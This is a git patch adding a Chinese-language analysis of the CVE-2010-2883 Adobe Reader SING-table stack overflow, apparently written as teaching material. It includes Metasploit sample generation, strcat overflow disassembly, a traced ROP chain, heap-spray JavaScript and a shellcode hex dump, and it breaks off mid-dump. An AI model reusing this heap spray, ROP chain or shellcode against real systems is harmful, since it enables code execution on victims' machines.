From 382cad2cdbda9f924027d2af1320b130fb852ff2 Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 21 May 2018 12:06:54 +0800 Subject: [PATCH] finish 7.1.8 --- doc/2.2.2_idapro.md | 6 + doc/2.3.2_ollydbg.md | 9 + doc/2.3.3_x64dbg.md | 9 +- doc/2.3.4_windbg.md | 9 + doc/7.1.8_adobe_reader_2010-2883.md | 756 +++++++++++++++++++++++++++- pic/7.1.8_diff.png | Bin 0 -> 84123 bytes 6 files changed, 785 insertions(+), 4 deletions(-) create mode 100644 pic/7.1.8_diff.png diff --git a/doc/2.2.2_idapro.md b/doc/2.2.2_idapro.md index 9563162..1abf974 100644 --- a/doc/2.2.2_idapro.md +++ b/doc/2.2.2_idapro.md @@ -3,6 +3,7 @@ - [常用插件](#常用插件) - [常用脚本](#常用脚本) - [技巧](#技巧) +- [参考资料](#参考资料) ## 常用插件 @@ -51,3 +52,8 @@ fp.close() 3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配 4. 注意观察 jmp 指令前后的堆栈是否有变化 5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义 + + +## 参考资料 +- 《IDA Pro权威指南(第2版)》 +- https://www.hex-rays.com/products/ida/ diff --git a/doc/2.3.2_ollydbg.md b/doc/2.3.2_ollydbg.md index cbfad21..f77eec8 100644 --- a/doc/2.3.2_ollydbg.md +++ b/doc/2.3.2_ollydbg.md @@ -1 +1,10 @@ # 2.3.2 OllyDbg 调试器 + +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- http://www.ollydbg.de/ diff --git a/doc/2.3.3_x64dbg.md b/doc/2.3.3_x64dbg.md index 78556eb..4b8db04 100644 --- a/doc/2.3.3_x64dbg.md +++ b/doc/2.3.3_x64dbg.md @@ -1,3 +1,10 @@ # 2.3.3 x64dbg -https://x64dbg.com/#start +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- https://x64dbg.com/#start diff --git a/doc/2.3.4_windbg.md b/doc/2.3.4_windbg.md index 46233db..a5e1332 100644 --- a/doc/2.3.4_windbg.md +++ b/doc/2.3.4_windbg.md @@ -1 +1,10 @@ # 2.3.4 WinDbg + +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ diff --git a/doc/7.1.8_adobe_reader_2010-2883.md b/doc/7.1.8_adobe_reader_2010-2883.md index a9bfc28..8ba5186 100644 --- a/doc/7.1.8_adobe_reader_2010-2883.md +++ b/doc/7.1.8_adobe_reader_2010-2883.md @@ -1,4 +1,4 @@ -# 7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow +# 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞 - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) @@ -16,7 +16,7 @@ Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Windows XP SP3 | 体系结构:32 位 | -| 调试器 | WinDbg | 版本号:10.0 x86 | +| 调试器 | OllyDbg | 版本号:吾爱专版 | | 漏洞软件 | Adobe Reader | 版本号:9.3.4 | 我们利用 Metasploit 来生成攻击样本: @@ -42,11 +42,761 @@ msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit [+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf ``` -使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器: +使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器。 ## 漏洞分析 +#### PDF 文件格式 +首先当然得知道 PDF 格式是怎样的。 +``` +|------------| +| header | +|------------| +| body | +|------------| +| xref table | +|------------| +| trailer | +|------------| +``` +由 4 个部分组成: +- header:文件的第一行,指明了 PDF 文件的版本号,通常格式是 `%PDF-1.x`。 +- body:文件的主体部分,通常由对象文件组成,包括文本、图片和其他的多媒体文件等。 +- xref table:包含了对文件中所有对象的引用,通过它可以知道文件中有多少对象、对象的偏移以及字节长度。 +- trailer:包含指向交叉引用表以及关键对象的指针,并以 `%%EOF` 标记文件结束。 + +当我们对一个 PDF 文件执行 Save(保存)操作时,新添加的信息将会附加到原文件的末尾,即所谓的增量保存。这些信息主要由 3 部分(body changes, xref, trailer)组成,此时的 PDF 文件如下所示: +``` +|--------------| +| header | ------------ +|--------------| +| body | +|--------------| Original File +| xref table | +|--------------| +| trailer | ------------ +|--------------| +| body changes | +|--------------| Update 1 +| xref | +|--------------| +| trailer | ------------ +|--------------| +| ... | ... +|--------------| +| body changes | ------------ +|--------------| +| xref | Update n +|--------------| +| trailer | ------------ +|--------------| +``` +这样子虽然方便,但体积会越来越大。此时我们可以执行 Save as(另存为)操作,将所有的更新信息合并成一个完整的新的 PDF,格式回到一开始的结构,体积也相应的有所减小。 + +例如可以利用工具 PDFStreamDumper 解析我们的样本,其 xref 和 trailer 如下所示: +``` +xref +0 15 +0000000000 65535 f +0000000015 00000 n +0000000133 00000 n +0000000264 00000 n +0000000294 00000 n +0000000334 00000 n +0000000465 00000 n +0000000497 00000 n +0000000713 00000 n +0000000835 00000 n +0000001006 00000 n +0000041366 00000 n +0000041449 00000 n +0000045319 00000 n +0000045358 00000 n +trailer +<> +startxref +45789 +%%EOF +. +``` +该节区的对象的起始编号为 0,包含的对象个数为 15 个,每个对象在交叉引用表中占据一行。我们看到每行分为三列,分别表示对象在 PDF 中的文件偏移、对象的生成号和是否使用标志(`f` 表示 free,n 表示 used)。第一行对应的对象 ID 为 0,生成号总是 65535,而最后一行的生成号总是 0。 + +#### TTF 文件格式 +根据漏洞通告,我们知道是 TTF 字体的 SING 表引起的溢出。所以再来看一下 TTF 文件格式。 + +TTF 包含有一个表 TableDirectory,其中有一个 TableEntry 结构项,包含了资源标记、校验和、偏移量和每个表的大小: +```c +typedef sturct +{ + char tag[4]; + ULONG checkSum; + ULONG offset; + ULONG length; +} TableEntry; + +typedef struct +{ + Fixed sfntversion; + USHORT numTables; + USHORT searchRange; + USHORT entrySelector; + USHORT rangeShift; + TableEntry entries[numTables]; +} TableDirectory; +``` +另外,SING 表的结构如下: +```c +typedef struct +{ + USHORT tableVersionMajor; + USHORT tableVersionMinor; + USHORT glyphletVersion; + USHORT embeddinginfo; + USHORT mainGID; + USHORT unitsPerEm; + SHORT vertAdvance; + SHORT vertOrigin; + BYTE[28] uniqueName; + BYTE[16] METAMD5; + BYTE nameLength; + BYTE[] baseGlyphName; +} SINGTable; +``` + +还是利用 PDFStreamDumper,从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。 + +
+$ xxd -g1 hexC0E5.tmp | grep -A1 "SING"
+000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47  .G.:...,... SING
+000000f0: d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74  ............post
+
+ +加粗部分即 SING 表目录项,其 `offset` 域为 `0x0000011c`。 + +于是找到 SING 表,其中加粗部分为 `uniqueName` 域: + +
+$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
+00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00  ;..... ....h....
+00000120: 01 0e 00 01 00 00 00 00 00 00 00 3a 92 f3 5e 4d  ...........:..^M
+00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83  s]R....J........
+00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b  E..}.K0.....>.P.
+
+ +#### 栈溢出 +我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 "SING": +``` +.rdata:0819DB4C ; char aSing[] +.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o +.rdata:0819DB4C ; sub_803DCF9+7B↑o ... +.rdata:0819DB51 align 4 +``` +对每个数据引用进行检查,发现 `sub_803DCF9+7B↑o` 的下方存在危险函数 `strcat`: +``` +.text:0803DCF9 ; __unwind { // loc_8184A54 +.text:0803DCF9 push ebp +.text:0803DCFA sub esp, 104h ; 分配栈空间 104h +.text:0803DD00 lea ebp, [esp-4] ; ebp 赋值为 esp-4 +.text:0803DD04 mov eax, ___security_cookie +.text:0803DD09 xor eax, ebp +.text:0803DD0B mov [ebp+108h+var_4], eax +.text:0803DD11 push 4Ch +.text:0803DD13 mov eax, offset loc_8184A54 +.text:0803DD18 call __EH_prolog3_catch +.text:0803DD1D mov eax, [ebp+108h+arg_C] +.text:0803DD23 mov edi, [ebp+108h+arg_0] ; edi 赋值为 arg_0 +.text:0803DD29 mov ebx, [ebp+108h+arg_4] +.text:0803DD2F mov [ebp+108h+var_130], edi +.text:0803DD32 mov [ebp+108h+var_138], eax +.text:0803DD35 call sub_804172C +.text:0803DD3A xor esi, esi +.text:0803DD3C cmp dword ptr [edi+8], 3 +.text:0803DD40 ; try { +.text:0803DD40 mov [ebp+108h+var_10C], esi +.text:0803DD43 jz loc_803DF00 +.text:0803DD49 mov [ebp+108h+var_124], esi +.text:0803DD4C mov [ebp+108h+var_120], esi +.text:0803DD4F cmp dword ptr [edi+0Ch], 1 +.text:0803DD4F ; } // starts at 803DD40 +.text:0803DD53 ; try { +.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 +.text:0803DD57 jnz loc_803DEA9 +.text:0803DD5D push offset aName ; "name" +.text:0803DD62 push edi ; int +.text:0803DD63 lea ecx, [ebp+108h+var_124] +.text:0803DD66 mov [ebp+108h+var_119], 0 +.text:0803DD6A call sub_80217D7 +.text:0803DD6F cmp [ebp+108h+var_124], esi +.text:0803DD72 jnz short loc_803DDDD +.text:0803DD74 push offset aSing ; "SING" +.text:0803DD79 push edi ; int +.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; this 指针的地址,指向 SING 表入口 +.text:0803DD7D call sub_8021B06 ; sub_8021B06(edi, "SING"),处理 SING 表 +.text:0803DD82 mov eax, [ebp+108h+var_12C] +.text:0803DD85 cmp eax, esi ; 判断是否为空 +.text:0803DD85 ; } // starts at 803DD53 +.text:0803DD87 ; try { +.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 +.text:0803DD8B jz short loc_803DDC4 ; 不跳转 +.text:0803DD8D mov ecx, [eax] ; SING 表开头 4 字节,即字体资源版本号(00 01 00 00) +.text:0803DD8F and ecx, 0FFFFh ; 结果为 0 +.text:0803DD95 jz short loc_803DD9F ; 跳转 +.text:0803DD97 cmp ecx, 100h +.text:0803DD9D jnz short loc_803DDC0 +.text:0803DD9F +.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j +.text:0803DD9F add eax, 10h ; uniqueName 域 +.text:0803DDA2 push eax ; Source ; 指向 uniqueName 的指针 +.text:0803DDA3 lea eax, [ebp+108h+Dest] +.text:0803DDA6 push eax ; Dest ; 目的地址是固定大小的栈空间 +.text:0803DDA7 mov [ebp+108h+Dest], 0 +.text:0803DDAB call strcat ; 造成溢出 +``` +在调用 strcat 函数时,未对 uniqueName 的字符串长度进行检查,直接将其复制到固定大小的栈空间,造成溢出。strcat 函数原型如下: +```c +char *strcat(char *dest, const char *src); + +char *strncat(char *dest, const char *src, size_t n); +``` + +下面打开 OllyDbg 调试一下,先来看看函数 `sub_8021B06` 做了什么,在 `0803DD7D` 设置断点,然后在 Reader 中打开样本,程序就断了下来: +``` +0803DD7D E8 843DFEFF call CoolType.08021B06 +0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] +``` +此时的 this 指针指向 TTF 对象: +
+d ecx:
+
+0012E4B4  B0 54 18 02 98 15 FC 01 00 00 00 00 00 00 00 00  癟??........
+
+d 021854B0:
+
+021854B0  00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32  .......OS/2     <-- TableDirectory
+021854C0  B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54  確鬰..雙...VPCLT
+...
+
+ +然后 F8 单步步过,eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。 +
+d 0012E4B4:
+
+0012E4B4  38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00  8箎?..........
+
+下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。 +
+d 047DB938:
+
+047DB938  00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A  ...........:      <-- SING
+047DB948  92 F3 5E 4D 73 5D 52 C2 14 A7 82 4A 0C 0C 0C 0C  掦^Ms]R?J....      <-- uniqueName
+047DB958  BC 94 B0 83 45 A2 04 7D 13 4B 30 18 98 95 ED 9F  紨皟E?}K0槙頍       <-- 0x1c bytes
+047DB968  3E CC 50 8B AC FE B5 5C 8F 86 D5 26 8B 36 0C 13  >蘌嫭\弳??.
+047DB978  25 2D 1F C3 0E 47 40 13 C9 1C 5F 86 90 AC 42 6D  %-?G@?_啇珺m
+047DB988  40 44 C6 D4 59 9A AC 7D 1B E1 CA 25 3E E4 B3 05  @D圃Y毈}崾%>涑
+047DB998  0D 85 43 B3 D9 58 4E 7E B9 A3 6D 4C 89 29 1D FE  .匔迟XN~梗mL?
+047DB9A8  73 9A C4 84 6C 29 7A 5D 6D 7B 6E 1C 39 E0 1E E4  s毮刲)z]m{n9?
+047DB9B8  51 7A 86 DE 7B FB 6F 04 B0 CF 3E E0 CF 4C AB FA  Qz嗈{鹢跋>嘞L
+047DB9C8  71 41 CD 19 69 68 4E F6 35 A1 B5 3C 66 77 F2 45  qA?ihN?〉 fw駿
+047DB9D8  71 73 01 C0 19 F4 A4 E1 D9 8A 8B C2 85 83 EA 2F  qs?簸豳妺聟冴/
+047DB9E8  6E ED 57 4D E6 B7 7F 88 48 BD 16 8E DC 51 9E 7E  n鞼M娣圚?庈Q瀪
+047DB9F8  BE 8B 09 8E 53 50 ED A9 F1 AC AE AD 01 5C 1E 11  緥.嶴P愆瘳\
+047DBA08  33 06 83 44 4B 4A EC 9F 26 3A AF 0A 74 62 C5 1E  3僁KJ鞜&:?tb?
+047DBA18  AE A8 58 3F F3 F1 82 F0 4D AC DA AE 10 AB 02 B9  X?篑傪M??
+047DBA28  E2 03 EF F6 76 B4 EF 35 4D 8D 45 3B F4 FE 9A D0  ?秭v达5M岴;酤毿
+047DBA38  58 AE 97 E5 D7 D8 EF 62 2F 4E 30 D6 B8 B4 A2 73  X畻遄仫b/N0指储s
+047DBA48  E3 B7 84 6A A9 41 CE 16 CC FB 8B 1D 43 1B B5 DB  惴刯〢?帖?C帝
+047DBA58  1D 60 EC BE C1 47 BA 2A 03 DD 3A C4 E1 93 74 1D  `炀罣??尼搕
+047DBA68  66 41 B0 85 B8 2A 5E DE 39 C9 5D 97 ED 1B 82 65  fA皡?^?蒥楉俥
+047DBA78  C6 08 8A 4A E5 20 41 0C 26 0A 03 AA 46 C5 36 C9  ?奐?A.&.狥?
+047DBA88  CB 76 1D C4 56 BD 76 A3 34 F7 2B 79 1F 6D 51 2C  藇腣絭??ymQ,
+047DBA98  9F 79 21 5E A8 94 1B 4A 05 BF B3 7C BC B2 FD 99  焬!^〝J砍|疾龣
+047DBAA8  E5 B3 08 D2 BC 86 25 BB C1 F8 DE F3 4A C8 1E 82  宄壹?涣驤?
+047DBAB8  25 12 18 C2 A9 F1 E6 36 92 94 01 29 98 A3 F5 A3  %漏矜6挃)槪酰
+047DBAC8  25 4B 02 0D 17 F2 87 B1 99 A5 8F 6F AA 81 21 64  %K.驀睓o獊!d
+047DBAD8  B8 57 11 6D CF 88 FC B8 22 B9 2B 58 66 CF D2 8B  竁m蠄"?Xf弦
+047DBAE8  F8 12 D6 82 CC B3 5E 28 B4 85 51 54 23 2B 74 21  ?謧坛^(磪QT#+t!
+047DBAF8  FC 6D 97 08 96 0D BE 76 F5 46 04 72 A6 7B CA 29  黰??緑鮂r?
+047DBB08  07 C6 41 55 B2 48 D9 F5 C7 E3 0C 35 1E DA 06 BF  艫U睭脔倾.5?
+047DBB18  D3 62 D4 D3 D4 A8 D3 AF A1 17 09 13 E1 5B 18 FD  觔杂渊盈?.醄
+047DBB28  ED 04 43 AC 1C 6F A6 1E 02 64 49 D1 5F 5E 54 75  ?C?o?dI裚^Tu
+047DBB38  A7 24 35 67 FF CC E6 E0 38 CB 80 4A 44 B6 49 EA  ?5g替?藔JD禝        <-- ROP
+047DBB48  A5 2D 16 26 4B B1 FA D2 87 82 36 34 9C F8 BD E0  ?&K柄覈?4滧洁
+047DBB58  7D 33 0F 1E 66 5B 23 98 E3 1A 80 55 CE 9F D3 BD  }3f[#樸€U螣咏
+047DBB68  CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C  ?H疢簒跱阓4?
+047DBB78  80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00  €V峞▌8m慛盩l...              <-- 0x22d bytes
+
+ +所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。 + +接下来就是 strcat 函数了。 +``` +0803DD9F 83C0 10 add eax,0x10 +0803DDA2 50 push eax +0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] +0803DDA6 50 push eax +0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 +0803DDAB E8 483D1300 call +``` +根据上面的 SING 表可以看到,`uniqueName` 原本只应该有最多 `0x1c` 个字节,但 strcat 根据 "\x00" 来作为字符串的结束,将导致复制 `0x22d` 个字节到栈上,造成溢出。 + +#### ROP +我们对复制到栈上的这段数据(`0012E4D8`~`0012E714`)设置内存访问断点。并开启 run trace 进行函数跟踪。 + +继续运行,然后我们记录下函数调用: +``` +CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80CB38 +``` + +``` +0803DEAC 50 push eax +0803DEAD 53 push ebx +0803DEAE 57 push edi +0803DEAF E8 2A8DFDFF call CoolType.08016BDE +``` +`CoolType.08016BDE`: +``` +08016C46 6A 01 push 0x1 +08016C48 53 push ebx +08016C49 53 push ebx +08016C4A 8D45 EC lea eax,dword ptr ss:[ebp-0x14] +08016C4D 50 push eax +08016C4E 8D45 D0 lea eax,dword ptr ss:[ebp-0x30] +08016C51 50 push eax +08016C52 57 push edi +08016C53 FF75 E8 push dword ptr ss:[ebp-0x18] +08016C56 E8 C64E0000 call CoolType.0801BB21 +``` +`CoolType.0801BB21`: +``` +0801BB24 FF75 20 push dword ptr ss:[ebp+0x20] +0801BB27 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8] +0801BB2A FF75 1C push dword ptr ss:[ebp+0x1C] +0801BB2D 8B01 mov eax,dword ptr ds:[ecx] ; CoolType.081A601C +0801BB2F FF75 18 push dword ptr ss:[ebp+0x18] +0801BB32 FF05 A0A62308 inc dword ptr ds:[0x823A6A0] +0801BB38 FF75 14 push dword ptr ss:[ebp+0x14] +0801BB3B FF75 10 push dword ptr ss:[ebp+0x10] +0801BB3E FF75 0C push dword ptr ss:[ebp+0xC] +0801BB41 FF10 call dword ptr ds:[eax] ; CoolType.0808B116 +``` +最终来到 `CoolType.0808B116` 里的关键点: +``` +0808B11D 8B7D 08 mov edi,dword ptr ss:[ebp+0x8] +... +0808B2E3 8B47 3C mov eax,dword ptr ds:[edi+0x3C] ; eax = ds:[edi+0x3C] +0808B2E6 3BC3 cmp eax,ebx +0808B2E8 8986 F4020000 mov dword ptr ds:[esi+0x2F4],eax +0808B2EE 899E F8020000 mov dword ptr ds:[esi+0x2F8],ebx +0808B2F4 895D FC mov dword ptr ss:[ebp-0x4],ebx +0808B2F7 75 07 jnz short CoolType.0808B300 +0808B2F9 32C0 xor al,al +0808B2FB E9 94020000 jmp CoolType.0808B594 +0808B300 8D4D FC lea ecx,dword ptr ss:[ebp-0x4] +0808B303 51 push ecx +0808B304 53 push ebx +0808B305 6A 03 push 0x3 +0808B307 50 push eax +0808B308 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38 +``` +通过最后的 call 指令,程序跳转到了 ROP 链。回忆一下 uniqueName 域从 `0012E4D8` 开始: +``` +4A80CB38 81C5 94070000 add ebp,0x794 ; ebp = 0012E4DC +4A80CB3E C9 leave ; esp = 0012E4E0, ebp = C2525D73 +4A80CB3F C3 retn ; esp = 0012E4E4, eip = 4A82A714 + +d esp: + +0012E4E4 0C 0C 0C 0C BC 94 B0 83 45 A2 04 7D 13 4B 30 18 ....紨皟E?}K0 +0012E4F4 98 95 ED 9F 3E CC 50 8B AC FE B5 5C 8F 86 D5 26 槙頍>蘌嫭\弳? +``` +于是跳转到 `4A82A714`: +``` +4A82A714 5C pop esp ; esp = 0C0C0C0C +4A82A715 C3 retn ; esp = 0C0C0C10, eip = 4A8063A5 +``` + +在进入下面的内容前,我们再来看一个东西,即 `eax` 是由 `edi` 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。 +
+d edi+0x3C:
+
+0012E754  D0 E6 12 00 00 00 00 00 00 AA 04 08 00 00 00 00  墟......?....    <-- eax
+
+d 0012E6D0:
+
+0012E6D0  38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2  8藔JD禝辚-&K柄    <-- ROP
+
+ +#### Heap spray +上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。 + +Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。 + +我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址): +
+0C0C0BE0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
+0C0C0BF0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
+0C0C0C00  0C 0C 0C 0C 0C 0C 0C 0C 41 41 41 41 A5 63 80 4A  ........AAAA€J
+0C0C0C10  00 00 8A 4A 96 21 80 4A 90 1F 80 4A 3C 90 84 4A  ..奐?€J?€J<悇J      <-- ROP
+0C0C0C20  92 B6 80 4A 64 10 80 4A C8 22 85 4A 00 00 00 10  挾€Jd€J?匤...
+0C0C0C30  00 00 00 00 00 00 00 00 02 00 00 00 02 01 00 00  .............
+0C0C0C40  00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A  ....€Jd€J?凧
+0C0C0C50  B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A  ?€J...Θ€J?€J
+0C0C0C60  38 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF  8悇J挾€Jd€J
+0C0C0C70  00 00 00 00 40 00 00 00 00 00 00 00 00 00 01 00  ....@..........
+0C0C0C80  00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A  ....€Jd€J?凧
+0C0C0C90  B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A  ?€J...Θ€J?€J
+0C0C0CA0  30 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF  0悇J挾€Jd€J
+0C0C0CB0  22 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00  "..............
+0C0C0CC0  A5 63 80 4A 04 00 8A 4A 96 21 80 4A A5 63 80 4A  €J.奐?€J€J
+0C0C0CD0  64 10 80 4A B2 2D 84 4A B1 2A 80 4A 30 00 00 00  d€J?凧?€J0...
+0C0C0CE0  A6 A8 80 4A 90 1F 80 4A 04 00 8A 4A D8 A7 80 4A  Θ€J?€J.奐丕€J
+0C0C0CF0  A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A  €Jd€J?凧?€J
+0C0C0D00  20 00 00 00 A6 A8 80 4A A5 63 80 4A 64 10 80 4A   ...Θ€J€Jd€J
+0C0C0D10  DC AE 80 4A 90 1F 80 4A 34 00 00 00 85 D5 80 4A  墚€J?€J4...呎€J
+0C0C0D20  A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A  €Jd€J?凧?€J
+0C0C0D30  0A 00 00 00 A6 A8 80 4A 90 1F 80 4A 70 91 84 4A  ....Θ€J?€Jp憚J
+0C0C0D40  92 B6 80 4A FF FF FF FF FF FF FF FF FF FF FF FF  挾€J
+0C0C0D50  00 10 00 00 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A  ...哿賢$艋侓I瀂    <-- shellcode
+0C0C0D60  29 C9 B1 31 31 5A 18 03 5A 18 83 C2 85 16 BC 62  )杀11ZZ兟?糱
+0C0C0D70  6D 54 3F 9B 6D 39 C9 7E 5C 79 AD 0B CE 49 A5 5E  mT?沵9蓗\y?蜪
+0C0C0D80  E2 22 EB 4A 71 46 24 7C 32 ED 12 B3 C3 5E 66 D2  ?隞qF$|2?趁^f
+0C0C0D90  47 9D BB 34 76 6E CE 35 BF 93 23 67 68 DF 96 98  G澔4vn?繐#gh邧
+0C0C0DA0  1D 95 2A 12 6D 3B 2B C7 25 3A 1A 56 3E 65 BC 58  ?m;+?:V>e糥
+0C0C0DB0  93 1D F5 42 F0 18 4F F8 C2 D7 4E 28 1B 17 FC 15  ?魾?O譔(?
+0C0C0DC0  94 EA FC 52 12 15 8B AA 61 A8 8C 68 18 76 18 6B  旉黂嫪a▽hvk
+0C0C0DD0  BA FD BA 57 3B D1 5D 13 37 9E 2A 7B 5B 21 FE F7  糊篧;裖7?{[!
+0C0C0DE0  67 AA 01 D8 EE E8 25 FC AB AB 44 A5 11 1D 78 B5  g?仡?獶?x
+0C0C0DF0  FA C2 DC BD 16 16 6D 9C 7C E9 E3 9A 32 E9 FB A4  芙m渱殂?辂
+0C0C0E00  62 82 CA 2F ED D5 D2 E5 4A 29 99 A4 FA A2 44 3D  b偸/碚义J)櫎D=
+0C0C0E10  BF AE 76 EB 83 D6 F4 1E 7B 2D E4 6A 7E 69 A2 87  慨v雰拄{-鋔~i
+0C0C0E20  F2 E2 47 A8 A1 03 42 CB 24 90 0E 22 C3 10 B4 3A  蜮GāB??"??
+0C0C0E30  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
+0C0C0E40  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
+
+ +通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下: +```javascript +var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' ); +var rop = unescape( "%u0c0c%u0c0c" ); +while (rop.length + 20 + 8 < 65536) rop+=rop; +SP = rop.substring(0, (0x0c0c-0x24)/2); +SP += shellcode; +SP += rop; +slackspace = SP.substring(0, 65536/2); +while(slackspace.length < 0x80000) slackspace += slackspace; +bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2); +var memory = new Array(); +for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; +``` + +接下来程序将依次执行下面的 gadgets: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C14, ecx = 4A8A0000 +4A8063A6 C3 retn ; esp = 0C0C0C18, eip = 4A802196 +``` +``` +4A802196 8901 mov dword ptr ds:[ecx],eax +4A802198 C3 retn ; eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 4A84903C <&KERNEL32.CreateFileA> +4A801F91 C3 retn ; esp = 0C0C0C24, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA +``` +调用函数 `kernel32.CreateFileW` 创建文件,各参数如下所示: +``` +0C0C0C04 7FFDFC00 |FileName = "iso88591" +0C0C0C08 10000000 |Access = GENERIC_ALL +0C0C0C0C 00000000 |ShareMode = 0 +0C0C0C10 00000000 |pSecurity = NULL +0C0C0C14 00000002 |Mode = CREATE_ALWAYS +0C0C0C18 00000102 |Attributes = HIDDEN|TEMPORARY +0C0C0C1C 00000000 \hTemplateFile = NULL +``` + +然后通过同样的方法调用 `CreateFileMapping`: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C4C, ecp = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0C50, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0C54, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0C58, ebx = 00000008 +4A802AB2 C3 retn ; esp = 0C0C0C5C, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +4A80A8A9 75 03 jnz short icucnv36.4A80A8AE +4A80A8AB B0 01 mov al,0x1 +4A80A8AD C3 retn +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0C60, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0C64, eax = 4A849038 <&KERNEL32.CreateFileMappingA> +4A801F91 C3 retn ; esp = 0C0C0C68, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA +``` +调用函数 `kernel32.CreateFileMappingW` 创建内存映射,各参数如下所示: +``` +0C0C0C40 000003D4 |hFile = 000003D4 +0C0C0C44 00000000 |pSecurity = NULL +0C0C0C48 00000040 |Protection = PAGE_EXECUTE_READWRITE +0C0C0C4C 00000000 